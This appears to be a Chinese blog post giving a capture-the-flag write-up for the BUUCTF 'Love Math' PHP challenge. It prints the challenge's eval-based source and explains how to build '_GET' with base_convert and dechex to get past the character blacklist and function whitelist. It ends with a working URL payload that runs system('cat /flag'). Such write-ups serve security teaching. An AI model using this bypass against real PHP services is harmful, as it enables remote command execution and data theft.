• BUUCTF-----[CISCN 2019 初赛]Love Math


     <?php
    error_reporting(0);
    //听说你很喜欢数学,不知道你是否爱它胜过爱flag
    if(!isset($_GET['c'])){
        show_source(__FILE__);
    }else{
        //例子 c=20-1
        $content = $_GET['c'];
        if (strlen($content) >= 80) {
            die("太长了不会算");
        }
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
        foreach ($blacklist as $blackitem) {
            if (preg_match('/' . $blackitem . '/m', $content)) {
                die("请不要输入奇奇怪怪的字符");
            }
        }
        //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
        $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
        preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
        foreach ($used_funcs[0] as $func) {
            if (!in_array($func, $whitelist)) {
                die("请不要输入奇奇怪怪的函数");
            }
        }
        //帮你算出答案
        eval('echo '.$content.';');
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29

    知识要点

    在php中,要知道可以将函数名通过字符串传递给变量,然后通过变量去动态调试php,如:
    $a = "system";
    $c = $a("dir");
    echo $c 
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    base_convert():任意进制转换
    bin2hex():十六进制值的字符串转换为 ASCII 字符
    hex2bin(): ASCII 字符转换为 十六进制值的字符串
    dechex():十进制转换为十六进制
    hexdec():十六进制转换为十进制
    
    • 1
    • 2
    • 3
    • 4
    • 5

    通过题目,传进的参数长度要小于80,不能用数学函数以外的字符串,还过滤了中括号,反引号,单引号,双引号,空格等特殊字符,而我们想要访问flag,必须要使用字符,通过搜索数学函数,有的函数可以将数字转换为字符,利用这一点构造payload。

    首先构造一个_GET[],中括号可以被大括号代替,使用 hex2bin 将字符串的 16 进制形式转换成原始字符串,而hex2bin不在白名单内,所以通过base_convert()函数进行输出

    echo base_convert("hex2bin",36,10);         //37907361743
    echo base_convert("37907361743",10,36);     //hex2bin
    
    • 1
    • 2

    将_GET转换为16进制

    echo bin2hex("_GET");                     //5f474554
    echo hex2bin("5f474554");                 //_GET
    
    • 1
    • 2

    但问题来了?5f474554是字符型,要将这个字符转换为整数型,hexdec() , dechex()

    echo hexdec("5f474554")              //1598506324 
    echo dechex(1598506324);             //5f474554
    
    • 1
    • 2
    payload:
    
    $_GET[a]($_GET[b]);&a=system&b=cat /flag;
    
    • 1
    • 2
    • 3

    base_convert("37907361743",10,36)(dechex(1598506324))=_GET

    带入

    ?c=${1}=base_convert(37907361743,10,36)(dechex(1598506324));($${1}){2}(($${1}){3})&2=system&3=cat /flag
    
    ${1} = _GET
    $${1} = $_GET
    $${1}{2} = $_GET{2}
    ($${1}{3}) = ($_GET{3})
    
    $${1}{2}($${1}{3}) = $_GET{2}($_GET{3})
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    变量要选白名单里的且长度短的或者用数字代替,不然长度太长

  • 相关阅读:
    Java-基于SSM的人事管理系统
    (31)Verilog实现单bit数据时钟域转换【快到慢】
    【Data Mining】Introduction
    Java 面试秘诀
    java计算机毕业设计社区健康信息管理系统源程序+mysql+系统+lw文档+远程调试
    S-Clustr(影子集群)僵尸网络@Мартин.
    多水站送水桶装水配送员公众号H5开发
    VsCode 配置eslint,支持typescript的语法检查,及时发现低级语法错误,包括函数未定义等行为
    java优秀毕业生推荐系统ssm
    Spring面试题(一)
  • 原文地址:https://blog.csdn.net/woshicainiao666/article/details/136686226